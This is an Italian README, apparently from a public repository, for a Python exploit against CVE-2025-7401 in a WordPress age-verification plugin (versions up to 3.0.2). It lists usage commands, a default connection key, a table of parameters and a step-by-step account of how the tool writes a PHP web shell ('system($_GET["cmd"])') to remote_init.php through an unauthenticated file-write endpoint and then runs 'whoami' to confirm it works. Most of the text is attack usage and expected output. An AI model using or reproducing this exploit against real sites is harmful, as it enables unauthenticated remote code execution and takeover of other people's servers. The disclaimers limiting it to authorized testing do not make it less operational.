
Premium Age Verification / Restriction for WordPress <= 3.0.2 - Lettura e Scrittura Arbitraria di File non Autenticata
Premium Age Verification / Restriction for WordPress <= 3.0.2 - Lettura e Scrittura Arbitraria di File Non Autenticata
Il plugin "Premium Age Verification / Restriction for WordPress" contiene un endpoint di supporto remoto insufficientemente protetto in remote_tunnel.php. Nelle versioni interessate fino alla 3.0.2 inclusa, questo endpoint può essere abusato per la lettura e la scrittura arbitraria di file senza autenticazione. Uno sfruttamento riuscito può esporre informazioni sensibili o consentire l'esecuzione remota di codice.
CVE-2025-7401.py# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com
# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify
# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'
remote_tunnel.php./wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php con i parametri: action=save_file, file, file_content.remote_init.php.Se scopri questa vulnerabilità su infrastrutture di terze parti:
L'uso non autorizzato degli strumenti di test delle vulnerabilità è illegale in molte giurisdizioni. Questo repository e questo script sono destinati esclusivamente alla ricerca difensiva, ai test autorizzati e alla divulgazione coordinata delle vulnerabilità. Ottieni sempre un'autorizzazione scritta esplicita prima di testare sistemi che non possiedi.
L'autore e i collaboratori non si assumono alcuna responsabilità per l'uso improprio delle informazioni o degli strumenti. Utilizza questo materiale solo entro i limiti legali ed etici.
Di: Nxploited ( Khaled Alenazi )
| Flag | Type | Default | Descrizione |
|---|
| -u, --url | string | obbligatorio | Dominio di destinazione o URL parziale. Lo script aggiungerà l'endpoint del plugin quando necessario. Esempi: example.com, https://example.com, example.com/wp-content/plugins/age-restriction/. |
| -key, --key | string | 330489965d8266a739442ef890f57805 | Chiave di connessione utilizzata dall'endpoint di supporto remoto. Da sovrascrivere se necessario per i target di laboratorio. |
| -shell, --shell | string | <?= system($_GET["cmd"]); ?> | Snippet PHP da iniettare come contenuto del file. Modificare solo per test autorizzati. |
| --no-verify | flag | false | Se presente, lo script non esegue la verifica GET opzionale del file scritto. |
| Passo | Azione | Dettagli |
|---|
| 1 | Normalizzazione dell'input | Accetta l'input dell'utente (dominio o percorso parziale). Garantisce lo schema (http:// se mancante), rimuove gli slash duplicati e aggiunge /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php se l'endpoint non è presente. |
| 2 | Costruzione delle intestazioni | Costruisce intestazioni di richiesta HTTP realistiche (selezione rotante dello user-agent, Accept, Referer, Content-Type). |
| 3 | Codifica del payload | Codifica in Base64 lo snippet PHP fornito e lo inserisce in file_content. |
| 4 | Richiesta POST di exploit | Invia connection_key, action=save_file, file (percorso sul server) e file_content all'endpoint normalizzato remote_tunnel.php tramite application/x-www-form-urlencoded. |
| 5 | Analisi della risposta | Tenta di estrarre il JSON dal corpo della risposta. Se il JSON esiste, stampa status e file_path; altrimenti stampa la risposta grezza ripulita. |
| 6 | Verifica (opzionale) | Tenta una GET a /wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami per verificare se il file iniettato è accessibile e restituisce contenuto. Opzionale tramite --no-verify. |
| 7 | Report | Stampa un report strutturato e leggibile che include l'endpoint utilizzato, lo stato HTTP, il JSON analizzato (se presente), l'URL shell previsto e l'output di verifica troncato (se riuscito). |
| Campo dell'Output | Significato | Esempio |
|---|
| Endpoint di destinazione | URL normalizzato finale contattato (percorso completo di remote_tunnel.php). | http://example.com/wp-content/.../remote_tunnel.php |
| Codice di stato HTTP | Codice di risposta HTTP della richiesta POST. 200 indica spesso che la richiesta è stata elaborata. | 200 |
| Stato JSON della risposta | Se l'endpoint restituisce JSON, il campo status riporta successo/fallimento. | valid |
| file_path JSON della risposta | Percorso lato server restituito dall'endpoint che indica dove ha scritto il file (informativo). | /var/www/html/wp-content/.../remote_init.php |
| Risposta grezza | Corpo della risposta non JSON (ripulito), come notice o messaggi PHP. | Notice: ... |
| URL shell (previsto) | URL pubblico in cui il file iniettato sarebbe accessibile. Da usare solo per la verifica in test autorizzati. | http://example.com/wp-content/.../remote_init.php?cmd=whoami |
| Stato HTTP di verifica | Stato HTTP della verifica GET opzionale. | 200 |
| Corpo della verifica (troncato) | Primi N caratteri del corpo della risposta di verifica (utile per vedere l'output del comando). | www-data |